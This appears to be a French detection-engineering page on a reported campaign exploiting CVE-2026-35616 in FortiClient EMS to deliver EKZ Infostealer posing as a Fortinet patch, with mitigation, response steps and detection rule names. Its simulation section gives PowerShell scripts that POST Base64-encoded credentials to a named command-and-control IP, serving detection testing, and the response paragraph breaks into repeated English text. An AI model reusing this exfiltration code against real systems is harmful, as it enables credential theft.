FortiClient EMS exploité via CVE-2026-35616 pour distribuer EKZ Infostealer déguisé en correctif Fortinet
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Arctic Wolf a identifié une campagne exploitant CVE-2026-35616 dans FortiClient EMS pour distribuer un script malveillant PowerShell aux points finaux gérés. Ce script récupérait et lançait une charge utile de vol de données d’identification connue sous le nom de EKZ Infostealer tout en se faisant passer pour un correctif légitime de Fortinet. Le malware collectait les mots de passe du navigateur, les cookies, et les informations de saisie automatique, puis exfiltrait les données volées via HTTP. En abusant des canaux de configuration EMS de confiance, les attaquants ont pu exécuter rapidement la charge utile sur plusieurs appareils gérés.
Enquête
Les chercheurs ont recréé l’exploitation en envoyant des requêtes HTTP spécialement forgées aux API de FortiClient EMS, entraînant des changements de configuration qui inséraient des scripts malveillants. Les traces d’exécution montraient fortitray.exe or ipsec.exe générant cmd.exe, qui à son tour lançait une commande PowerShell encodée en Base64 qui téléchargeait p.exe à partir d’une adresse IP malveillante. La charge utile a écrit un fichier log.txt dans ProgramData, a envoyé les données capturées au même serveur, puis s’est supprimée.
Atténuation
Les organisations devraient mettre à jour FortiClient EMS vers une version qui corrige CVE-2026-35616 et restreindre l’accès à l’API aux adresses IP sources approuvées. Les défenseurs doivent également examiner les journaux EMS pour détecter les erreurs liées aux certificats et les changements inattendus des profils d’accès à distance. Le trafic HTTP sortant des points finaux vers des adresses IP inconnues doit être bloqué, et l’exécution de scripts dans les flux de travail des profils VPN doit être limitée par des contrôles de privilèges minimaux.
Réponse
Si cette activité est détectée, isolez immédiatement les hôtes affectés, révoquez tous les comptes EMS non autorisés qui ont pu être créés, et retirez les fichiers de scripts malveillants du répertoire des journaux de FortiClient. Les enquêteurs doivent préserver l’artéfact, calculer les hachages pour les binaires malveillants, et rechercher des indicateurs correspondants dans l’environnement. Les données d’identification exposées sur le navigateur doivent être réinitialisées, et les équipes devraient surveiller toute activité d’authentification suspecte pouvant suivre le vol. log.txt artifact, calculate hashes for the malicious binaries, and hunt for matching indicators across the environment. Exposed browser credentials should be reset, and teams should monitor for suspicious authentication activity that may follow the theft.
Flux d’Attaque
Détections
Nom de Fichier Court (via cmdline)
Voir
Utilisation Suspecte de CURL (via cmdline)
Voir
Appel de Méthodes .NET Suspectes depuis Powershell (via powershell)
Voir
Activité Possible de Transfert par Bits (via powershell)
Voir
IOCs (HashSha256) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet
Voir
IOCs (HashSha1) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet
Voir
IOCs (HashMd5) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet
Voir
IOCs (SourceIP) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet
Voir
IOCs (DestinationIP) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet
Voir
Exfiltration de Données d’Identifications par EKZ Infostealer via HTTP POST [Connexion Réseau Windows]
Voir
FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer [Création de Processus Windows]
Voir
Exécution de PowerShell via FortiClient pour Livrer EKZ Infostealer [Windows Powershell]
Voir
Exécution de Simulation
Prérequis : Le Test Préliminaire de Télémétrie & Baseline doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un mauvais diagnostic.
-
Narratif de l’Attaque & Commandes :
L’attaquant a précédemment recueilli des identifiants à partir du registre Windows (famille T1216) en utilisant EKZ Infostealer. Pour exfiltrer le blob collecté, le malware lance une commande PowerShell en une ligne qui envoie par POST les identifiants encodés en Base64 à son serveur de commande et de contrôle à83.138.53.110. L’utilisation de PowerShell (Invoke-WebRequest) est une technique classique d’exploitation du système pour éviter les détections basées sur les binaires tout en produisant une télémétrie réseau observable par le pare-feu.powershell # Charge utile d'identifiants simulée (Base64 de "user:pass") $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!")) $uri = "http://83.138.53.110/collect" Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded" -
Script de Test de Régression : Ce script PowerShell autonome reproduit l’étape d’exfiltration et peut être relancé pour de futures regressions.
powershell <# .SYNOPSIS Simulation d'exfiltration d'identifiants par EKZ Infostealer (HTTP POST). .DESCRIPTION Génère un blob d'identifiants factice, le code, et l'envoie par POST à l' IP malveillante connue utilisée dans la règle de détection. .NOTES Nécessite que le HTTP sortant soit autorisé vers 83.138.53.110 sur le port 80. #> # ---- Préparation ---- $creds = "admin_user:SuperSecret!" $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds)) $target = "http://83.138.53.110/collect" # ---- Exécution ---- try { Write-Host "[*] Envoi du blob d'identifiants à $target ..." $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing Write-Host "[+] Statut HTTP:" $resp.StatusCode } catch { Write-Error "[-] Échec du POST : $_" } # ---- Fin du script ---- -
Commandes de Nettoyage : Aucun artéfact persistant n’est créé sur le disque, mais pour être minutieux, nous fermons toute session de requête web persistante et nettoyons la variable PowerShell.
powershell # Nettoyer les variables et fermer toutes les sessions web ouvertes Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) { Remove-WebRequestSession -All } Write-Host "[*] Nettoyage terminé."